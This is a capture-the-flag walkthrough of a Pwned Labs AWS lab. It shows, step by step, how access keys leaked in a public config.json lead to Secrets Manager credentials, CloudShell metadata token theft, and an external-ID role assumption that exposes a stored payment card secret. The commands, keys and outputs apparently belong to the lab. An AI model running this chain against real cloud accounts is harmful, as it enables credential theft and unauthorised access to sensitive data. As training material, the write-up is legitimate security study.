ASSUME PRIVILEGED ROLE w EXTERNAL ID

PWNEDLABS.IO

Enumeration

Start by enumerating the IP with a simple `nmap` scan. It will likely have a port 80 open, so visit the website.

On finding a working website, begin to enumerate with `gobuster` or `ffuf` as always. On AWS/Cloud platforms, its best to look for json files which may be exposed. This can be done with the `-x json` flag in both.

We find a config.json file open to the public after our search completes.

```
{"aws": {
"accessKeyID": "AKIAWHEOTHRFYM6CAHHG",
"secretAccessKey": "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",
"region": "us-east-1",
"bucket": "hl-data-download",
```

This is the most relevant part of the .json file. With the access key, secret access key and region, we run `aws configure` entering the information. Next, run `aws sts get-caller-identity`, which is almost the same thing as `whoami` in the AWS Cli.

```
$aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRF7MLFMRGYH",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/data-bot"
}
```

Bucket Dumping

Now that we have an account number and ARN/user account `data-bot`, we will list the contents of the bucket `hl-data-download` that we found in the `config.json` file from earlier.

```
$aws s3 ls hl-data-download
2023-08-05 21:56:58 5200 LOG-1-TRANSACT.csv
2023-08-05 21:57:05 5200 LOG-10-TRANSACT.csv
....snip....
2023-08-05 21:58:02 5200 LOG-98-TRANSACT.csv
2023-08-05 21:58:03 5200 LOG-99-TRANSACT.csv
```

Here we see log files of purchases made by customers. To view the contents:

```
aws s3 cp s3://hl-data-download/LOG-1-TRANSACT.csv -
```

It's really nothing interesting or useful, so we will move on. Let's see what other privileges we have with this account as a way to escalate.

AWS-Enumerator

`aws-enumerator` is used to automate the enumeration of privileges against AWS services. That is to say, it tells us what permissions we have with regard to which AWS service.

First, run `aws-enumerator cred` to set our account information. It will save the information for the session/user you're currently in, so it may need to be run multiple times to enumerate various users.

After setting the credentials:

```
$aws-enumerator enum -services all
...snip...
Message: Successful S3: 0 / 1
Message: Successful SECRETSMANAGER: 1 / 2
Message: Successful ROUTE53RESOLVER: 0 / 3
Message: Successful SECURITYHUB: 0 / 8
....snap....
```

We see we have permissions for the AWS Secrets Manager service. Secrets Manager enables the rotation, management and retrieval of databases, API keys, etc.

To find out exactly which permission we have on Secrets Manager:

```
aws-enumerator dump -services secretsmanager
-------------------------- SECRETSMANAGER ---------------------------
```

```
ListSecrets
```

Now we can see that we are able to list the secrets of the company we are attacking.

Listing Secrets in Secrets Manager

After discovering we can list secrets, we run the following:

```
aws secretsmanager list-secrets --query 'SecretList.Name, Description, ARN' --
output json
```

We are given a json style output of the company's secrets. Not all of the secrets will be able to be accessed. However, each secret should be tested.

```
$aws secretsmanager get-secret-value --secret-id ext/cost-optimization
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-
```

```
optimization-p6WMM4",
"Name": "ext/cost-optimization",
"VersionId": "f7d6ae91-5afd-4a53-93b9-92ee74d8469c",
"SecretString": "{\"Username\":\"ext-cost-
user\",\"Password\":\"K33pOurCostsOptimized!!!!\"}",
```

ext/cost-optimization did return results, however. Here, we see a username and password for an IAM account. Go to the AWS website, select IAM User, and log into the account. In the `Recently Visited` section, we can see `Cloud Shell` so we will see if it can be used.

Escalation

Of course, CloudShell works. We will spin up a session token in the CloudShell console with:

```
TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-
token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-
aws-ec2-metadata-token: $TOKEN"
```

This will give us an AWS session token that expires in 15 minutes. So, either act fast or refresh the token after the time is up. Using the output we received in the CloudShell console, in our local machine, we use `aws configure` to set the configuration like before, and then `aws configure set aws_token_session "[TOKEN]"` . Afterwards, we confirm our user with the `aws sts get-caller-identity` command as before.

```
$aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRFTNCWM7FHT",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}
```

Go back to the `aws-enumerator cred` command to set our new credentials for `ext-cost-user` and then `aws-enumerator enum -services all` as before. It doesn't work this time, but that's OK. It should always be done just in case.

As that didn't work, we can check to see if we can list any policies that are directly attached to our user:

```
$aws iam list-attached-user-policies --user-name ext-cost-user
```

```
{
"AttachedPolicies": [
{
"PolicyName": "ExtCloudShell",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
},
{
"PolicyName": "ExtPolicyTest",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
}
]
}
```

We see two policies. We can see what exactly the policy entails:

```
$aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
{
"Policy": {
"PolicyName": "ExtPolicyTest",
"PolicyId": "ANPAWHEOTHRF7772VGA5J",
"Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-04T21:47:26+00:00",
"UpdateDate": "2023-08-06T20:23:42+00:00",
"Tags": []
}
}
```

With this, we can see the version ID of the policy. The version ID is important as it shows how AWS should interpret the policy structure and features. Essentially, it will show us various roles or policies, who can access them and what can be done with them. We dig into the policy version next:

```
$aws iam get-policy-version --policy-arn
arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedRolePolicies",
"iam:ListAttachedUserPolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::427648302155:policy/ExtPolicyTest",
"arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"arn:aws:iam::427648302155:policy/Payment",
"arn:aws:iam::427648302155:user/ext-cost-user"
]
}
```

We will examine the role we found in the policy version:

```
aws iam get-role --role-name ExternalCostOpimizeAccess
```

```
{
"Role": {
"Path": "/",
"RoleName": "ExternalCostOpimizeAccess",
"RoleId": "AROAWHEOTHRFZP3NQR7WN",
"Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"CreateDate": "2023-08-04T21:09:30+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "37911"
}
```

Here we see that we are able to assume the role `ExternalCostOpimizeAccess`. We will check the policies attached to the role first, to see if it's worth doing:

```
$aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
{
"AttachedPolicies": [
{
"PolicyName": "Payment",
"PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
}
]
}
```

We see a policy `Payment` which could be very intersting. We will look at it with:

```
$aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment
{
"Policy": {
"PolicyName": "Payment",
"PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
"Arn": "arn:aws:iam::427648302155:policy/Payment",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-04T22:03:41+00:00",
"UpdateDate": "2023-08-04T22:34:19+00:00",
"Tags": []
}
}
```

We see the version ID is v2. Repeating the process from before to get the policy version:

```
$aws iam get-policy-version --policy-arn
arn:aws:iam::427648302155:policy/Payment --version-id v2
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:DescribeSecret",
"secretsmanager:ListSecretVersionIds"
],
"Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-
default-payment-xGmMhK"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "secretsmanager:ListSecrets",
"Resource": "*"
}
]
```

Take note that in the `Resource` section, it seems we have access to billing/hl-default-payment. Seems like it could be the company's payment system and information stored in the secret. Now we know it's worthwhile to assume the role of `ExternalCostOpimizeAccess`.

Assume Role and Escalate Further

We can try to assume the role of `ExternalCostOpimizeAccess` like so:

```
aws sts assume-role --role-arn
arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name
ExternalCostOpimizeAccess
```

However, it is denied. Why? According to the trust policy from our `aws iam get-role` command from earlier, we need to provide an ExternalID:

```
....snip....
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "37911"
}
....snap....
```

We need to provide a parameter to include the external ID in our command:

```
aws sts assume-role --role-arn
arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name
ExternalCostOpimizeAccess --external-id 37911
```

After including the external ID, we are given an access key, secret key and a session token. We will use `aws configure` followed by `aws configure set aws_session_token "[TOKEN]"` as before. Next, we check `aws sts get-caller-identity` to see if we are indeed the new user.

Taking into account the policy information for `policy/Payment`, we know we are able to list the secrets of `hl-default-payment`:

```
$aws secretsmanager get-secret-value --secret-id billing/hl-default-payment
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-
default-payment-xGmMhK",
"Name": "billing/hl-default-payment",
"VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
"SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-
4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card
Expiry\":\"5/2026\",\"Flag\":\"REDACTED"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-08-04T22:33:39.867000+00:00"
}
```